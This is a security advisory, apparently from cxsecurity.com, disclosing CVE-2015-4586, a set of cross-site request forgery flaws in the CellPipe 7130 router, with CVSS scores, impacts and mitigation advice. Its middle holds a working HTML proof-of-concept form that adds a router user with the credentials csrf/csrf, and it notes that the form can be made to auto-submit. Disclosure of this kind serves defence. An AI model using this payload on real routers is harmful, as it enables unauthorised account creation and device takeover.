CellPipe 7130 Cross Site Request Forgery

2015.06.17
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

CellPipe Router CSRF vulnerability Device model : CellPipe 7130 RG 5Ae. M2013 HOL *Software Version:* : *1.0.0.20h.HOL* CWE: 352 - https://cwe.mitre.org/data/definitions/352.html CVE: CVE-2015-4586 Date: 16/06/2015 Discovered by: DiLi Vulnerability type: Multiple CSRF vulnerabilities in the router's web interface CSRF (Cross Site Request Forgery) is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. It is currently included in the OWASP Top 10 project. Exploitation and Impact: The exploitation of the above vulnerabilities, in addition with a social engineering attack, may lead to : ? Unwanted service exposure ? DNS Hijacking ? Disabling wireless security ? User account creation I have tested the scenario with the user account creation and the proof of concept is the following: <html> <body> <form action="http://192.168.1.1/password.cmd <http://192.168.2.1/password.cmd>"> <input type="hidden" name="action" value="add&#95;user" /> <input type="hidden" name="userAdd" value="csrf" /> <input type="hidden" name="pwdAdd" value="csrf" /> <input type="submit" value="Submit request" /> </form> </body> </html> If a router administrator executes the above code a user with credentials (csrf/csrf) will be added. In our PoC the administrator must press the Submit request but in a real attack scenario an attacker can implement an auto submit javascript code. In our case the router IP address is: 192.168.1.1. Of course it can be exploited with the router's public IP address. Suggested mitigation: In order to properly patch the CSRF vulnerability the following measures have to be taken: ? Add a randomly generated token associated with the user's session in order to prevent a CSRF attack. Alternatively a check to the referer header can be introduced. Although referer headers can be easily spoofed, they can prevent a CSRF attack of this kind.


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top